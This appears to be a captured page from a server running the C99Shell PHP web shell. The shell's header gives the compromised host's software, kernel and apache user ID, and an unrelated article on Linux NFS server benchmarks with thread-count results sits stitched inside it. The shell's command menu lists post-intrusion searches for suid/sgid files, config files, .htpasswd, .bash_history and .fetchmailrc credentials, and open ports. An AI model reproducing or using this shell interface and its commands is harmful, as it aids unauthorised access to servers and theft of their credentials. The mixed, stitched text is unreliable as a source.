!C99Shell v. 1.0 pre-release build #16!

Software: Apache/2.0.54 (Fedora). PHP/5.0.4 

uname -a: Linux mina-info.me 2.6.17-1.2142_FC4smp #1 SMP Tue Jul 11 22:57:02 EDT 2006 i686 

uid=48(apache) gid=48(apache) groups=48(apache)
context=system_u:system_r:httpd_sys_script_t 

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Heavy Load

For the heavy load, we set the initial load to 800 and increment the load by 800 at each run:

Run	# of Server	# of	# of Processes	Load	Throughput	Response Time
	Threads	Clients	Per Client	(Ops/Sec)	(Ops/Sec)	(Msec/Op)
1	1	5	4	800	356	56.6
2	1	5	4	1600	212	97.8
3	1	5	4	2400	162	127.5
4	1	5	4	3200	138	151.9
1	2	5	4	800	569	36.8
2	2	5	4	1600	381	54.8
3	2	5	4	2400	311	67.5
4	2	5	4	3200	264	78.6
1	4	5	4	800	782	27.4
2	4	5	4	1600	594	35.9
3	4	5	4	2400	494	42.8
4	4	5	4	3200	422	49.8
1	8	5	4	800	799	6.9
2	8	5	4	1600	1125	19.4
3	8	5	4	2400	907	23.9
4	8	5	4	3200	775	27.7
1	16	5	4	800	801	6.1
2	16	5	4	1600	1539	14.2
3	16	5	4	2400	1190	18.9
4	16	5	4	3200	967	22.8

It is quite clear that under the heavy load, the NFS server performance benefits tremendously when the number of the server threads was increased from 1 to 8. When it is above 8, the performance gain was not as significant as the lower thread count.

Overall, the SFS benchmarks show that

• The kernel-space NFS server is a major step forward in the Linux NFS server implementation. Its interoperability and performance are way beyond the old NFS server running in user-space.

• The number of kernel NFS server threads will affect the server performance. In general, the more, the better.

• Under the light load, the performance gain from increasing the number of server threads is not very significant.

• Under the moderate load, 8 server threads seem to work best for our server hardware configuration.

• Under the heavy load, the performance gain from increasing the number of server threads is significant even at 16. However, 16 server threads take significant kernel sources.

For our specific server hardware setup, 8 kernel NFS server threads strike a balance between performance and resource usage.

To further study the Linux NFS server performance, we need to run the benchmarks on

• Different number of CPUs.

• Different number of SCSI controllers.

• Different number of harddrives.

• RAID storage.

• More RAM.

• Gigabit Ethernet.

:: Command execute ::

Enter:

Select: -----------------------------------------------------------find all suid filesfind suid files in current dirfind all sgid filesfind sgid files in current dirfind config.inc.php filesfind config* filesfind config* files in current dirfind all writable folders and filesfind all writable folders and files in current dirfind all service.pwd filesfind service.pwd files in current dirfind all .htpasswd filesfind .htpasswd files in current dirfind all .bash_history filesfind .bash_history files in current dirfind all .fetchmailrc filesfind .fetchmailrc files in current dirlist file attributes on a Linux second extended file systemshow opened ports

:: Search ::   - regexp

:: Upload ::   [ Read-Only ]

:: Make Dir ::   [ Read-Only ]

:: Make File ::   [ Read-Only ]

:: Go Dir ::

:: Go File ::

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